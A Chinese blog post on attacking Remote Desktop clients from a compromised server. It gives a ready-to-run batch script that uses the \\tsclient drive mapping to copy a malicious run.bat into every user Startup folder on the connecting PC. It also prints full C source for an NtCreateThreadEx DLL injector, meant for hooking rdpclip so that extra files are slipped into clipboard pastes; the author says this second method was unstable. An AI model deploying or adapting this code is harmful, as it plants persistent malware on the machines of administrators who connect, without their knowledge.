两者都是在攻击的登录远程桌面时,向攻击者PC的启动目录写入恶意文件,需要重启才能运行恶意文件。
我这里测试的时候,存在很多问题,尤其是后者,较不稳定,按照严格意义并没有复现成功,也许是操作系统问题,也许是代码问题。
原理是通过访问tsclient,并通过目录遍历找到启动目录,将恶意文件写入其中。
tsclient是通过远程桌面连接到远程计算机时,自动分配的一个主机名。
利用该方式的前提是需要开启挂载盘符。
当开启后,在被登录服务器端执行命令:
dir \\tsclient\c
但是要执行其他命令就会拒绝访问。
这里给出一个bat脚本,运行后就可以自动对登录PC的启动项进行写入。
@echo off
timeout 1 >nul 2>&1
mkdir \\tsclient\c\temp >nul 2>&1
mkdir C:\temp >nul 2>&1
copy run.bat C:\temp >nul 2>&1
copy run.bat \\tsclient\c\temp >nul 2>&1
del /q %TEMP%\temp_00.txt >nul 2>&1
set dirs=dir /a:d /b /s \\tsclient\c\users\*startup*
echo|%dirs%|findstr /i "Microsoft\Windows\Start Menu\Programs\Startup">>"%TEMP%\temp_00.txt"
for /F "tokens=*" %%a in (%TEMP%\temp_00.txt) DO (
copy run.bat "%%a" >nul 2>&1
copy C:\temp\run.bat "%%a" >nul 2>&1
copy \\tsclient\c\temp\run.bat "%%a" >nul 2>&1
)
del /q %TEMP%\temp_00.txt >nul 2>&1
原理这里不做进一步讲解,可以参考文章2.
这里只做简单说明,向rdpclip进程中注入dll,hook几个关键函数,对Hdrop数据进行修改,在客户端复制的时候触发,同时粘贴多个文件,路径可自定义(我没成功)。
在触发成功时,可以看到ClipSpy中FileGroupDescriptorW中包含了两个文件名。
上面的是真实复制的文件。
下面的是hook后增加的恶意文件,我这里没有成功,只能同时复制到桌面,没有能复制到启动目录(我改了代码),原始的代码编译的dll,一触发粘贴,甚至刚复制完,rdpclip进程就崩溃了。
粘贴后,桌面出现两个文件。
测试中,就在win7上成功过,其他的都有问题,就在win7上也时常出现崩溃的问题,没有好的办法解决。
贴下注入的代码,参考3gstudent的代码。
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <tlhelp32.h>
#pragma comment(lib,"Advapi32.lib")
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
#define NT_SUCCESS(x) ((x) >= 0)
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
typedef NTSTATUS(NTAPI *pRtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
typedef NTSTATUS(NTAPI *pLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
typedef DWORD64(WINAPI *_NtCreateThreadEx64)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD64 dwStackSize, DWORD64 dw1, DWORD64 dw2, LPVOID Unknown);
typedef struct _THREAD_DATA
{
pRtlInitUnicodeString fnRtlInitUnicodeString;
pLdrLoadDll fnLdrLoadDll;
UNICODE_STRING UnicodeString;
WCHAR DllName[260];
PWCHAR DllPath;
ULONG Flags;
HANDLE ModuleHandle;
}THREAD_DATA, *PTHREAD_DATA;
HANDLE WINAPI ThreadProc(PTHREAD_DATA data)
{
data->fnRtlInitUnicodeString(&data->UnicodeString, data->DllName);
data->fnLdrLoadDll(data->DllPath, data->Flags, &data->UnicodeString, &data->ModuleHandle);
return data->ModuleHandle;
}
DWORD WINAPI ThreadProcEnd()
{
return 0;
}
HANDLE MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf)
{
HANDLE hThread = NULL;
FARPROC pFunc = NULL;
pFunc = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (pFunc == NULL)
{
printf("[!]GetProcAddress (\"NtCreateThreadEx\")error\n");
return NULL;
}
((_NtCreateThreadEx64)pFunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);
if (hThread == NULL)
{
printf("[!]MyCreateRemoteThread : NtCreateThreadEx error\n");
return NULL;
}
if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE))
{
printf("[!]MyCreateRemoteThread : WaitForSingleObject error\n");
return NULL;
}
return hThread;
}
BOOL InjectDll(UINT32 ProcessId, char *DllPath)
{
if (strstr(DllPath, "\\\\") != 0)
{
printf("[!]Wrong Dll path\n");
return FALSE;
}
if (strstr(DllPath, "\\") == 0)
{
printf("[!]Need Dll full path\n");
return FALSE;
}
size_t len = strlen(DllPath) + 1;
size_t converted = 0;
wchar_t* DllFullPath;
DllFullPath = (wchar_t*)malloc(len * sizeof(wchar_t));
mbstowcs_s(&converted, DllFullPath, len, DllPath, _TRUNCATE);
LPVOID pThreadData = NULL;
LPVOID pCode = NULL;
HANDLE ProcessHandle = NULL;
HANDLE hThread = NULL;
BOOL bRet = FALSE;
__try
{
ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
if (ProcessHandle == NULL)
{
printf("[!]OpenProcess error\n");
__leave;
}
THREAD_DATA data;
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
data.fnRtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
data.fnLdrLoadDll = (pLdrLoadDll)GetProcAddress(hNtdll, "LdrLoadDll");
memcpy(data.DllName, DllFullPath, (wcslen(DllFullPath) + 1) * sizeof(WCHAR));
data.DllPath = NULL;
data.Flags = 0;
data.ModuleHandle = INVALID_HANDLE_VALUE;
pThreadData = VirtualAllocEx(ProcessHandle, NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadData == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]VirtualAllocEx error\n");
__leave;
}
BOOL bWriteOK = WriteProcessMemory(ProcessHandle, pThreadData, &data, sizeof(data), NULL);
if (!bWriteOK)
{
CloseHandle(ProcessHandle);
printf("[!]WriteProcessMemory error\n");
__leave;
}
DWORD SizeOfCode = (DWORD)ThreadProcEnd - (DWORD)ThreadProc;
pCode = VirtualAllocEx(ProcessHandle, NULL, SizeOfCode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pCode == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]VirtualAllocEx error,%d\n", GetLastError());
__leave;
}
bWriteOK = WriteProcessMemory(ProcessHandle, pCode, (PVOID)ThreadProc, SizeOfCode, NULL);
if (!bWriteOK)
{
CloseHandle(ProcessHandle);
printf("[!]WriteProcessMemory error\n");
__leave;
}
hThread = MyCreateRemoteThread(ProcessHandle, (LPTHREAD_START_ROUTINE)pCode, pThreadData);
if (hThread == NULL)
{
CloseHandle(ProcessHandle);
printf("[!]MyCreateRemoteThread error\n");
__leave;
}
WaitForSingleObject(hThread, INFINITE);
bRet = TRUE;
}
__finally
{
if (pThreadData != NULL)
VirtualFreeEx(ProcessHandle, pThreadData, 0, MEM_RELEASE);
if (pCode != NULL)
VirtualFreeEx(ProcessHandle, pCode, 0, MEM_RELEASE);
if (hThread != NULL)
CloseHandle(hThread);
if (ProcessHandle != NULL)
CloseHandle(ProcessHandle);
}
return bRet;
}
BOOL EnableDebugPrivilege(BOOL fEnable)
{
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return(fOk);
}
int main(int argc, char *argv[])
{
if (argc != 3)
{
printf("Use NtCreateThreadEx to inject dll\n\n");
printf("Usage:\n");
printf("%s <PID> <Dll Path>\n", argv[0]);
return 0;
}
if (!EnableDebugPrivilege(TRUE))
{
printf("[!]AdjustTokenPrivileges Failed.<%d>\n", GetLastError());
}
if (!InjectDll((DWORD)atoi(argv[1]), argv[2]))
{
printf("[!]InjectDll error \n");
return 1;
}
printf("[+]InjectDll success\n");
return 0;
}